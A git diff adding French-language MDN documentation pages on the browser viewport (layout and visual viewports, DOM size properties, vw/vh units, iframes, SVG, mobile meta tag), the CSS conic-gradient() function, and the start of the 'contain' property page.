+<h2 id="Qu'est-ce_qu'une_zone_d'affichage_(viewport)">Qu'est-ce qu'une zone d'affichage (<em>viewport</em>) ?</h2>
+
+<p>Une zone d'affichage (aussi appelée <em>viewport</em> en anglais) représente la zone actuellement visible sur l'appareil. Pour un navigateur web, la zone d'affichage correspond généralement à la fenêtre du navigateur sans les éléments d'interface du navigateur (barre de menu, etc.). Bref, sur le Web, la zone d'affichage correspond la plupart du temps à la région à l'intérieur de la fenêtre dans laquelle vous consultez un site ou une application.</p>
+
+<p>Les documents (à l'instar de cet article) peuvent être très longs. La zone d'affichage correspond à ce qui est actuellement visible. Dans notre cas particulier, vous devriez pouvoir voir le titre Qu'est-ce qu'une zone d'affichage peut-être le menu de navigation. La taille de la zone d'affichage dépend de la taille de l'écran, de l'activation du mode plein écran, du niveau de zoom, etc. Le contenu situé à l'extérieur de la zone d'affichage (la section Voir aussi de ce document par exemple) n'est pas visible tant que l'utilisateur n'a pas fait défilé le contenu jusqu'à ce point.</p>
+
+<ul>
+ <li>Pour les écrans les plus grands où les applications ne sont pas nécessairement en plein écran, la zone d'affichage mesure la taille de la fenêtre du navigateur</li>
+ <li>Sur la plupart des appareils mobiles ou lorsque le navigateur est en plein écran, la zone d'affichage correspond à l'ensemble de l'écran</li>
+</ul>
+
+<p>En mode plein écran, la zone d'affichage sera l'écran de l'appareil, la fenêtre du navigateur pourra être plus grande ou plus petite que la zone d'affichage et le document sera le site web consulté et qui peut être plus grand ou plus large que la zone d'affichage.</p>
+
+<p>Pour résumer, la zone d'affichage est la zone du document actuellement visible à l'écran.</p>
+
+<h3 id="Les_dimensions_de_la_zone_d'affichage_sont_modifiables">Les dimensions de la zone d'affichage sont modifiables</h3>
+
+<p>La largeur de la zone d'affichage n'est pas toujours la largeur de la fenêtre. Si vous accédez à la largeur et à la hauteur de la fenêtre et à celles du document avec Chrome ou Firefox, vous pourrez obtenir un résultat comme celui-ci :</p>
+
+<pre class="brush: js">document.documentElement.clientWidth /* 1200 */
+window.innerWidth /* 1200 */
+window.outerWidth /* 1200 */
+</pre>
+
+<pre class="brush: js">document.documentElement.clientHeight /* 800 */
+window.innerHeight /* 800 */
+window.outerHeight /* 900 */
+</pre>
+
+<p>Il existe plusieurs propriétés du DOM qui permettent d'obtenir la taille de la zone d'affichage et certaines dimensions associées :</p>
+
+<ul>
+ <li>La propriété du document {{DOMxRef("Element.clientWidth")}} est la largeur interne du document, exprimée en <a href="/fr/docs/Mozilla/Mobile/Balise_meta_viewport#Un_pixel_n'est_pas_un_pixel">pixels CSS</a>, et inclut le remplissage (<em>padding</em>) mais pas les marges, les bordures et les barres de défilement. <strong>C'est la largeur de la zone d'affichage</strong>.</li>
+ <li>La propriété {{DOMxRef("Window.innerWidth")}} correspond à la largeur, exprimée en pixels CSS, de la zone d'affichage dans la fenêtre du navigateur qui contient les éventuelles barres de défilement verticales.</li>
+ <li>La propriété {{DOMxRef("Window.outerWidth")}} correspond à la largeur extérieure de la fenêtre du navigateur et qui contient l'ensemble du <em>chrome</em> (les éléments d'interface utilisateur du navigateur qui ne sont pas ceux de la page web consultée).</li>
+</ul>
+
+<p>Dans l'exemple précédent, on peut voir que <code>innerWidth</code> et <code>outerWidth</code> ont la même valeur mais que <code>outerHeight</code> mesure 100 pixels de plus que <code>innerHeight</code>. En effet, <code>outerHeight</code> tient compte du chrome du navigateur et les mesures ont été effectuées avec un navigateur dont la barre d'adresse, les onglets et la barre de favoris mesuraient ensemble 100 pixels de haut. En revanche, il n'y avait pas de <em>chrome</em> à gauche ou à droite de la fenêtre.</p>
+
+<p>La zone contenu entre <code>innerHeight</code> et <code>innerWidth</code> correspond à <strong>la zone d'affichage pour la disposition (<em>layout viewport</em>)</strong>. Le chrome du navigateur ne fait pas partie de la zone d'affichage.</p>
+
+<p>Lorsqu'on zoome, FIrefox et Chrome renvoient une nouvelle taille, en pixels CSS, pour <code>innerWidth</code> et <code>clientWidth</code>. Les valeurs renvoyées pour <code>outerWidth</code> et <code>outerHeight</code> dépendent du navigateur : Firefox rapporte la nouvelle valeur en pixels CSS et Chrome renvoie la longueur exprimée avec la taille par défaut d'un pixel. Lorsqu'on a zoomé, on pourra obtenir :</p>
+
+<pre class="brush: js">document.documentElement.clientWidth /* 800 */
+window.innerWidth /* 800 */
+window.outerWidth /* 800 dans Firefox, 1200 dans Chrome */
+</pre>
+
+<pre class="brush: js">document.documentElement.clientHeight /* 533 */
+window.innerHeight /* 533 */
+window.outerHeight /* 596 dans Firefox, 900 dans Chrome */
+</pre>
+
+<p>La zone d'affichage mesurait initialement 1200 x 800 pixels. Après le zoom, la zone d'affichage mesure 800 x 533 pixels. C'est la zone d'affichage pour la disposition. Avec la feuille de style suivante, les hauts et pieds de page seront placés en haut et en bas de <em>la zone d'affichage pour la disposition</em>.</p>
+
+<pre class="brush: css">body &gt; header {
+  position: fixed;
+  top: 0;
+}
+body &gt; footer {
+  position: fixed;
+  bottom: 0;
+}
+</pre>
+
+<p>On a mesuré 800 x 533 après avoir zoomé à l'aide du clavier. Le haut et le bas de page ont suivi le haut et le bas de la fenêtre. Mais que ce serait-il passé si on avait zoomé au doigt sur une tablette ? Que se serait-il passé si un clavier tactile logiciel s'était ouvert sur le bas du téléphone ?</p>
+
+<p>Dans le contexte du Web, on parle de deux zones d'affichage : <strong>la zone d'affichage pour la disposition (<em>layout viewport</em>)</strong> et <strong>la zone d'affichage visuelle (<em>visual viewport</em>)</strong>. La zone d'affichage visuelle est la partie de la page web qui est actuellement visible dans le navigateur et qui peut changer. Lorsqu'un utilisateur zoome en pinçant, provoque l'ouverture d'un clavier tactile ou lorsqu'une barre d'adresse s'affiche, la zone d'affichage visuelle se réduit mais la zone d'affichage pour la disposition reste inchangée.</p>
+
+<p>Les hauts et bas de pages vus dans l'exemple précédent se caleront en haut et en bas de la zone d'affichage pour la disposition. Aussi, ils resteront visibles lorsqu'on zoome au clavier mais pourrait être masqués (partiellement ou complètement) par un clavier visuel : autrement dit, ils pourraient ne pas faire partie de la zone d'affichage visuelle.</p>
+
+<p>La zone d'affichage visuelle correspond à la partie de l'écran qui est visible sans contenir les claviers visuels, les zones en dehors de la région zoomée ou toute autre partie qui ne suit pas les dimensions d'une page. Ainsi, la zone d'affichage visuelle pourra avoir la même taille ou être plus petite que la zone d'affichage pour la disposition.</p>
+
+<p>Pour une page contenant des <em>iframes</em>, des objets ou des SVG externes, chaque page imbriquée et chaque fichier inclus possède son propre objet pour la fenêtre. Seule la fenêtre de plus haut niveau possède une zone d'affichage visuelle qui peut être différente de la zone d'affichage pour la disposition. Pour les éléments imbriqués, la zone d'affichage visuelle et la zone d'affichage pour la disposition sont identiques.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<p>La zone d'affichage pour la disposition et la zone d'affichage visuelle mentionnées jusqu'à présent ne sont pas les seules zones d'affichages à considérer. Toute zone d'affichage imbriquée, pleinement ou partiellement affichée dans la zone d'affichage pour la disposition sera considérée comme une zone d'affichage visuelle.</p>
+
+<p>On pense généralement que les hauteurs et largeurs utilisées pour les requêtes média correspondent à la hauteur et à la largeur de la fenêtre du navigateur mais elles correspondent en réalité à la taille de la zone d'affichage (la fenêtre pour le document principal ou les dimensions intrinsèques des objets imbriqués). En CSS, on peut également utiliser des unités proportionnelles aux dimensions de la zone d'affichage. Un <code>vh</code> correspond à 1% de la hauteur de la zone d'affichage pour la disposition et <code>vw</code> mesurera, de façon analogue, 1% de la largeur de la zone d'affichage pour la disposition.</p>
+
+<h4 id="&lt;iframe>"><code>&lt;iframe&gt;</code></h4>
+
+<p>À l'intérieur d'une <em>iframe</em>, la zone d'affichage visuelle est mesurée comme la largeur et la hauteur internes de l'<em>iframe</em> et non comme celles du document parent. Il est possible de définir n'importe quelle hauteur et largeur pour une <em>iframe</em> mais le document pourra ne pas être visible dans son intégralité.</p>
+
+<p>Si on utilise les unités de longueur relatives à la zone d'affichage pour la mise en forme du document situé dans l'<em>iframe</em>, <code>1vh</code> correspondra à 1% de la hauteur de l'<em>iframe</em> et <code>1vw</code> correspondra à 1% de la largeur du document imbriqué.</p>
+
+<pre class="brush: css">iframe {
+  width: 50vw;
+}
+</pre>
+
+<p>Si l'<em>iframe</em> est dimensionnée à <code>50vw</code>, elle mesurera 50% de large des <code>1200px</code> du document parent (soit <code>600px</code>). À l'intérieur de cette <em>iframe</em>, <code>1vw</code> correspondra donc à <code>6px</code>. Lorsqu'on zoomera, l'<em>iframe</em> se réduira à <code>400px</code> de large et <code>1vw</code> correspondra alors à <code>4px</code>.</p>
+
+<p>Lorsqu'on utilise une requête média à l'intérieur du document de l'<em>iframe</em>, les dimensions utilisées sont relatives à la zone d'affichage de l'<em>iframe</em>.</p>
+
+<pre class="brush: css">@media screen and (min-width: 500px) {
+  p {
+    color: red;
+  }
+}
+</pre>
+
+<p>Si le fragment de code CSS était inclus dans l'<em>iframe</em>, les paragraphes seraient rouges avec un zoom utilisateur et normaux sinon.</p>
+
+<h4 id="SVG">SVG</h4>
+
+<p>Pour un document SVG, la zone d'affichage correspond à la partie de l'image SVG qui est visible à l'écran. On peut définir n'importe quelle hauteur et largeur sur un SVG mais l'image pourra ne pas être entièrement visible. La taille de la zone d'affichage pourra être définie à l'aide des attributs <code>width</code> et <code>height</code> de l'élément {{SVGElement("svg")}}.</p>
+
+<pre class="brush: html">&lt;svg height="300" width="400"&gt;&lt;/svg&gt;</pre>
+
+<p>Dans cet exemple, la zone d'affichage possède un ratio de 3::4 et mesure 400 x 300 unités (où les unités par défaut sont généralement des pixels CSS).</p>
+
+<p>SVG possède un système de coordonnées interne qui est défini grâce à l'attribut <code><a href="/fr/docs/Web/SVG/Attribute/viewBox">viewbox</a></code> mais qui n'est pas directement lié à la problématique des zones d'affichage.</p>
+
+<p>Si on inclut un fichier SVG dans un document HTML, la zone d'affichage pour le SVG sera le bloc englobant initial ou la largeur et la hauteur du conteneur SVG. Si on utilise une requête média {{CSSxRef("@media")}} dans le code CSS du SVG, celle-ci sera relative à la taille du conteneur et pas à celle de la zone d'affichage du document.</p>
+
+<pre class="brush: css">@media screen and (min-width: 400px) and (max-width: 500px) {
+  /* styles CSS ici */
+}</pre>
+
+<p>Lorsqu'on utilise la requête média précédente, les styles sont généralement appliqués lorsque la fenêtre du navigateur mesure entre 400px et 500px de large. Lorsqu'on utilise cette même requête à l'intérieur d'un document SVG, ce sera la largeur du conteneur (l'élément {{htmlelement("img")}} par exemple ou l'élément parent) qui sera considérée. Autrement dit, si on utilise la requête média précédente sur un document SVG, les styles seront appliqués si le conteneur du SVG mesure entre 400 et 500 pixels.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>L'API <a href="/fr/docs/Web/API/Visual_Viewport_API">Visual Viewport</a> fournit des outils pour récupérer et modifier les propriétés de la zone d'affichage visuelle.</p>
+
+<h2 id="Zones_d'affichage_sur_mobiles">Zones d'affichage sur mobiles</h2>
+
+<p>Il existe une grande variété de tailles et de proportions pour les appareils mobiles. La zone d'affichage d'un navigateur mobile est la zone de la fenêtre sur laquelle le contenu web peut être consulté et cette zone n'a pas nécessairement la même taille que la page affichée. Les navigateurs mobiles affichent les pages sur une zone d'affichage virtuelle (mesurant généralement 960px) plus large que l'écran puis réduisent le résultat afin que l'utilisateur puisse voir l'ensemle du document. L'utilisateur peut alors se déplacer ou zoomer au doigt pour accéder aux différentes zones de la page. Ainsi, si un appareil mobile a un écran large de 320px, un site web pourra être affiché selon une zone d'affichage virtuelle sur 960px puis réduit afin de pouvoir s'inscrire dans l'espace large de 320px. Le résultat ainsi obtenu risque peu d'être lisible. Pour indiquer à un navigateur mobile d'utiliser la largeur de la zone d'affichage réelle plutôt que la largeur virtuelle de 960px, on pourra placer la balise <code>&lt;meta&gt;</code> suivante :</p>
+
+<pre class="brush: html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>meta</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>viewport<span class="punctuation token">"</span></span> <span class="attr-name token">content</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>width<span class="punctuation token">=</span>device-width<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>La propriété <code>width</code> contrôle la taille de la zone d'affichage et on l'utilisera généralement avec <code>device-width</code> qui correspond à la largeur de l'écran, exprimée en pixels CSS, avec un zoom de 100%. Il est possible d'utiliser d'autres propriétés comme <code>maximum-scale</code>, <code>minimum-scale</code> et <code>user-scalable</code> afin de contrôler si l'utilisateur peut zoomer/dézoomer sur la page mais les valeurs par défaut restent les meilleures en termes d'accessibilité et d'ergonomie et ne seront pas plus abordées ici par souci de concision.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/@viewport">La règle @ <code>@viewport</code></a></li>
+ <li><a href="/fr/docs/Web/API/Visual_Viewport_API">L'API Visual Viewport</a></li>
+ <li>L'élément {{HTMLElement("meta")}} et notamment <code>&lt;meta name="viewport"&gt;</code></li>
+ <li><a href="/fr/docs/Mozilla/Mobile/Balise_meta_viewport">L'utilisation de la balise méta <code>viewport</code> afin de contrôler la disposition sur les navigateurs mobiles</a></li>
+</ul>
diff --git a/files/fr/web/css/conic-gradient()/index.html b/files/fr/web/css/conic-gradient()/index.html
new file mode 100644
index 0000000000..a403061a07
--- /dev/null
+++ b/files/fr/web/css/conic-gradient()/index.html
@@ -0,0 +1,264 @@
+---
+title: conic-gradient()
+slug: Web/CSS/conic-gradient()
+tags:
+  - CSS
+  - Fonction
+  - Guide
+  - Reference
+translation_of: Web/CSS/conic-gradient()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <strong><code>conic-gradient()</code></strong> permet de créer une image consistuée d'un dégradé radial pour lequel les transitions entre les couleurs ont lieu autour d'un centre plutôt que depuis le centre. Un dégradé conique pourra par exemple être un graphique en camembert. Le résultat de la fonction <code>conic-gradient()</code> est un objet du type de données {{CSSxRef("&lt;gradient&gt;")}} qui est un type particulier d'{{CSSxRef("&lt;image&gt;")}}.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/function-conic-gradient.html")}}</p>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>À l'instar des autres dégradés, les dégradés coniques ne possèdent pas <a href="/en-US/docs/CSS/image#no_intrinsic">de dimension intrinsèque</a> (ils n'ont pas de taille préférentielle ou de ratio) : la taille réelle correspondra à la taille de l'élément auquel le dégradé s'applique ou à la taille de l'image.</p>
+
+<p>Pour créer un dégradé conique qui se répète afin de couvrir 360° (un tour complet), on utilisera plutôt la notation fonctionnelle {{CSSxRef("repeating-conic-gradient")}}.</p>
+
+<p>Les dégradés (<code>&lt;gradient&gt;</code>) sont un type d'image (<code>&lt;image&gt;</code>) et ne peuvent être utilisés qu'aux endroits où les images peuvent être utilisées. Aussi, <code>conic-gradient()</code> ne fonctionnera pas pour la propriété {{CSSxRef("background-color")}} ou pour les autres propriétés qui utilisent les données de type {{CSSxRef("&lt;color&gt;")}}.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Un tel dégradé est appelé conique car, vu du dessus, la répartition des couleurs fait apparaître un cône.</p>
+</div>
+
+<h2 id="Quest-ce_quun_dégradé_conique">Qu'est-ce qu'un dégradé conique ?</h2>
+
+<p>Un dégradé conique est semblable à un dégradé radial mais les transitions de couleurs sont placées sur différents angles plutôt que sur différents rayons. Avec les dégradés coniques, les transition entre les couleurs commencent depuis la direction pointant vers le haut puis dans le sens des aiguilles d'une montre. Avec un dégradé radial, les transitions progressent depuis le centre vers l'extérieur du cercle.</p>
+
+<p><img alt="color stops along the circumference of a conic gradient and the axis of a radial gradient." src="https://mdn.mozillademos.org/files/16361/Screenshot_2018-11-29_21.09.19.png" style="height: 258px; width: 515px;"></p>
+
+<p>Un dégradé conique est défini en indiquant un angle de rotation, le centre du dégradé puis en indiquant une liste de points d'arrêt de couleur. À la différence des dégradés linéaires et des dégradés radiaux pour lesquels les points d'arrêt de couleur sont placés avec une longueur, les points d'arrêt de couleur d'un dégradé conique sont placés à l'aide d'un angle. Les unités utilisables pour les angles sont <code>deg</code> (pour les degrés), <code>rad</code> (pour les radians), <code>grad</code> (pour les grades) et <code>turn</code> (pour les tours). Un cercle se divise en 360 degrés, 400 grades, 2 radians et un tour. Les navigateurs qui prennent en charge les dégradés coniques acceptent également les valeurs exprimées en pourcentage (100% correspondant à 360 degrés) mais cela ne fait pas partie de la spécification.</p>
+
+<p>Comme pour les dégradés radiaux, la syntaxe pour les dégradés coniques permet de situer le centre du dégradé à n'importe quel endroit de l'image ou de l'élément, même en dehors. La position s'exprime avec deux valeurs, de façon semblable à la syntaxe de {{cssxref("background-position")}}.</p>
+
+<p>L'arc du dégradé représente le périmètre du dégradé. Le point de départ du dégradé est situé en haut de l'axe vertical. Ensuite le dégradé évolue à partir de cet angle. Les couleurs du dégradé sont déterminées grâce aux points d'arrêt de couleur angulaires, aux points de départ et aux points d'arrivée et éventuellement aux points d'arrêt intermédiaires. Les transitions entre les couleurs peuvent être modifiées grâce à des indications entre les différents points d'arrêt.</p>
+
+<h3 id="Adapter_les_dégradés">Adapter les dégradés</h3>
+
+<p>En ajoutant plusieurs points d'arrêt de couleur sur l'arc du dégradé, il est possible de créer une transition personnalisée entre de nombreuses couleurs. La position d'un point d'arrêt de couleur peut être définie de façon explicite grâce à une valeur de type {{CSSxRef("&lt;angle&gt;")}}. Si on ne définit pas l'emplacement d'un point d'arrêt, ce dernier sera placé à mi-chemin entre le point d'arrêt précédent et le suivant. Si on ne définit pas d'angle pour le premier ou le dernier point d'arrêt de couleur, ils seront respectivement situés à <code>0deg</code> et <code>360deg</code>. Autrement dit, les deux dégradés suivants sont équivalents :</p>
+
+<pre class="brush: css notranslate">conic-gradient(red, orange, yellow, green, blue);
+conic-gradient(red 0deg, orange 90deg, yellow 180deg, green 270deg, blue 360deg);</pre>
+
+<p>Par défaut, la transition entre les couleurs de deux points d'arrêt se fera progressivement avec la moitié de la transition à la moitié de l'angle. Ce milieu de transition peut être déplacé en ajoutant une indication de couleur qui définit l'emplacement voulu. L'exemple suivant commence avec du rouge jusqu'à 10%, fait une transition du rouge au bleu sur 80% du tour, les 10% restants sont en bleu. Cependant, le point de changement entre le bleu et le rouge se situe à 20% plutôt qu'à 50% (ce qui se serait produit sans l'indication <code>80grad</code>).</p>
+
+<pre class="brush: css notranslate">conic-gradient(red 40grad, 80grad, blue 360grad);</pre>
+
+<p>Si deux ou plusieurs points d'arrêt de couleur partagent le même emplacement, la transition sera franche entre la première et la dernière couleur déclarées pour cet emplacement. Si on emploie les dégradés coniques pour faire des camemberts (une mauvaise pratique car les dégradés ne sont pas accessibles), on peut utiliser des points d'arrêt avec plusieurs couleurs au même endroit pour créer une transition nette. Les deux déclarations suivantes sont synonymes :</p>
+
+<pre class="brush: css notranslate">conic-gradient(#fff 0.09turn, #bbb 0.09turn, #bbb 0.27turn, #666 0.27turn, #666 0.54turn, #000 0.54turn);
+conic-gradient(#fff 0turn 0.09turn, #bbb 0.09turn 0.27turn, #666 0.27turn 0.54turn, #000 0.54turn 1turn);</pre>
+
+<p>Les points d'arrêt de couleur devraient être listés dans l'ordre croissant. Les points d'arrêt situés après mais dont la valeur d'angle est inférieure surchargeront les valeurs des points d'arrêt précédents et créeraient une rupture tranchée. Le dégradé qui suit passe de rouge à jaune à 30% puis de jaune à bleu après 35% :</p>
+
+<pre class="brush: css notranslate">conic-gradient(red .8rad, yellow .6rad, blue 1.3rad);
+</pre>
+
+<p>Il est possible d'obtenir d'autres effets avec les dégradés coniques. On peut même créer un damier en créant des quadrants supérieurs gauches et inférieurs droits en blanc et supérieurs droits et inférieurs gauches en noir puis en répétant le dégradé 16 fois (quatre fois en horizontal et quatre fois en vertical) :</p>
+
+<pre class="brush: css notranslate">conic-gradient(#fff 90deg, #000 0.25turn 0.5turn, #fff 1rad 1.5rad, #000 300grad);
+background-size: 25% 25%;
+</pre>
+
+<p>On voit avec l'exemple précédent qu'il est aussi possible de mélanger différentes unités d'angle mais attention, cela diminue fortement la lisibilité.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="language-css notranslate" id="css">/* Un dégradé conique tourné de 45 degrés,
+   qui commence en bleu et finit en rouge */
+conic-gradient(from 45deg, blue, red);
+
+/* Une boîte bleu violette : le dégradé commence du bleu
+   vers le rouge mais seule la partie inférieure droite du
+   quadrant est visible car le centre du dégradé conique est
+   dans le coin supérieur gauche */
+conic-gradient(from 90deg at 0 0, blue, red);
+
+/* Une roue des couleurs */
+background: conic-gradient(
+    hsl(360, 100%, 50%),
+    hsl(315, 100%, 50%),
+    hsl(270, 100%, 50%),
+    hsl(225, 100%, 50%),
+    hsl(180, 100%, 50%),
+    hsl(135, 100%, 50%),
+    hsl(90, 100%, 50%),
+    hsl(45, 100%, 50%),
+    hsl(0, 100%, 50%)
+);</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{CSSxRef("&lt;angle&gt;")}}</dt>
+ <dd>Une valeur précédée du mot-clé <code>from</code> qui indique un angle et qui définit la rotation du dégradé selon le sens des aiguilles d'une montre.</dd>
+ <dt><code>&lt;position&gt;</code></dt>
+ <dd>La position définit le centre du dégradé en respectant la même syntaxe que celle utilisée pour la propriété {{cssxref("background-position")}}. Si cette valeur est absente, ce sera la valeur <code>center</code> qui sera utilisée comme valeur par défaut, indiquant que le dégradé sera centré.</dd>
+ <dt><code>&lt;angular-color-stop&gt;</code></dt>
+ <dd>Un point d'arrêt de couleur utilisant une valeur de type {{CSSxRef("&lt;color&gt;")}} suivie par une ou deux positions d'arrêt (une valeur de type {{CSSxRef("&lt;angle&gt;")}} située le long de l'arc du dégradé).</dd>
+ <dt><code>&lt;color-hint&gt;</code></dt>
+ <dd>Une indication de couleur pour l'interpolation entre deux points d'arrêt. La longueur définit l'emplacement où les deux couleurs des points d'arrêts alentour doivent se joindre. Autrement dit, la longueur à laquelle la transition est effectuée à moitié. Si cette valeur est absente, la moitié de la transition est atteinte à la moitié de l'angle entre les deux points d'arrêt.</dd>
+ <dd>
+ <div class="note">
+ <p><strong>Note :</strong> Le rendu des points d'arrêt de couleur pour les dégradés CSS respecte les mêmes règles que les points d'arrêt de couleur des <a href="/fr/docs/Web/SVG/Tutorial/Gradients">dégradés SVG</a>.</p>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">conic-gradient(
+  [ from &lt;angle&gt; ]? [ at &lt;position&gt; ]?, &lt;angular-color-stop-list&gt; )
+  \---------------------------------/ \----------------------------/
+        Gradient definition                List of color stops
+
+where &lt;angular-color-stop-list&gt; = [ &lt;angular-color-stop&gt; [, &lt;angular-color-hint&gt;]? ]# , &lt;angular-color-stop&gt;
+  and &lt;angular-color-stop&gt; = &lt;color&gt; &amp;&amp; &lt;color-stop-angle&gt;?
+  and &lt;angular-color-hint&gt; = &lt;angle-percentage&gt;
+  and &lt;color-stop-angle&gt; = &lt;angle-percentage&gt;{1,2}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div>
+<h3 id="Un_dégradé_à_40°">Un dégradé à 40°</h3>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+  width: 100px;
+  height: 100px;
+}</pre>
+
+<pre class="brush: html notranslate">&lt;div&gt;&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: css notranslate">div {
+  background-image:
+     conic-gradient(from 40deg, #fff, #000);
+}
+</pre>
+
+<p>{{EmbedLiveSample("Un_dégradé_à_40°", 120, 120)}}</p>
+</div>
+
+<div>
+<h3 id="Un_dégradé_décentré">Un dégradé décentré</h3>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+  width: 100px;
+  height: 100px;
+}</pre>
+
+<pre class="brush: html notranslate">&lt;div&gt;&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: css notranslate">div {
+  background: conic-gradient(from 0deg at 0% 25%, blue, green, yellow 180deg);
+}</pre>
+
+<p>{{EmbedLiveSample("Un_dégradé_décentré", 120, 120)}}</p>
+</div>
+
+<div>
+<h3 id="Un_camembert_sous_forme_de_dégradé">Un camembert sous forme de dégradé</h3>
+
+<p>This example uses multi-position color stops, with adjacent colors having the same color stop value, creating a striped effect.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+  width: 100px;
+  height: 100px;
+}</pre>
+
+<pre class="brush: html notranslate">&lt;div&gt;&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: css notranslate">div {
+  background: conic-gradient(
+     red 36deg, orange 36deg 170deg, yellow 170deg);
+  border-radius: 50%
+}</pre>
+
+<p>{{EmbedLiveSample("Un_camembert_sous_forme_de_dégradé", 120, 120)}}</p>
+</div>
+
+<div>
+<h3 id="Un_damier">Un damier</h3>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+  width: 100px;
+  height: 100px;
+}</pre>
+
+<pre class="brush: html notranslate">&lt;div&gt;&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: css notranslate">div {
+  background:
+     conic-gradient(#fff 0.25turn, #000 0.25turn 0.5turn, #fff 0.5turn 0.75turn, #000 0.75turn)
+     top left / 25% 25% repeat;
+  border: 1px solid;
+}</pre>
+
+<p>{{EmbedLiveSample("Un_damier", 120, 120)}}</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> Voir <a href="/fr/docs/Web/CSS/Utilisation_de_dégradés_CSS">Utiliser les dégradés CSS</a> pour plus d'exemples.</p>
+</div>
+
+<h2 id="Acessibilité">Acessibilité</h2>
+
+<p>Les outils d'assistance ne peuvent pas analyser les images d'arrière-plan. Aussi, bien qu'il soit possible de créer des camemberts graphiques, des damiers ou d'autres effets grâce aux dégradés coniques, les images construites en CSS ne sont pas accessibles. Les images créées avec des dégradés coniques ne sont donc pas accessibles non plus. Si l'image contient des informations essentielles à la compréhension du document, mieux vaudra la décrire de façon sémantique dans le document afin que ce dernier soit correctement accessible.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">Comprendre les règles WCAG 1.1.</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html">Comprendre les critères de succès 1.1.1  pour WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#conic-gradients', 'conic-gradient()')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.image.gradient.conic-gradient")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">Utiliser les dégradés CSS</a></li>
+ <li>Les autres fonctions associées aux dégradés : {{CSSxRef("repeating-conic-gradient")}}, {{CSSxRef("linear-gradient")}}, {{CSSxRef("repeating-linear-gradient")}}, {{CSSxRef("radial-gradient")}}, {{CSSxRef("repeating-radial-gradient")}}</li>
+ <li>{{CSSxRef("&lt;image&gt;")}}</li>
+ <li>{{cssxref("_image","image()")}}</li>
+ <li>{{cssxref("element()")}}</li>
+ <li>{{cssxref("image-set","image-set()")}}</li>
+ <li>{{cssxref("cross-fade")}}</li>
+</ul>
diff --git a/files/fr/web/css/contain/index.html b/files/fr/web/css/contain/index.html
new file mode 100644
index 0000000000..c6c9747b19
--- /dev/null
+++ b/files/fr/web/css/contain/index.html
@@ -0,0 +1,98 @@
+---
+title: contain
+slug: Web/CSS/contain
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/contain
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété CSS <strong><code>contain</code></strong> permet d'indiquer qu'un élément, ainsi que son contenu, sont, autant que possible, indépendants du reste de l'arbre du document. Cela permet au navigateur de recalculer la disposition, la mise en forme, la taille, les <em>peintures</em> ou toute combinaison de ces éléments pour une zone donnée du DOM plutôt que pour la page complète.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+contain: none;
+contain: strict;
+contain: content;
+contain: size;
+contain: layout;
+contain: style;
+contain: paint;
+
+/* Valeurs globales */
+contain: inherit;
+contain: initial;
+contain: unset;
+</pre>
+
+<p>Cette propriété s'avère utile pour les pages qui contiennent de nombreux composants indépendants et permet de limiter la portée des règles sur le reste de la page.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Lorsqu'elle est appliquée avec une valeur <code>paint</code>, <code>strict</code> ou <code>content</code>, cette propriété crée :</p>
+
+<ul>
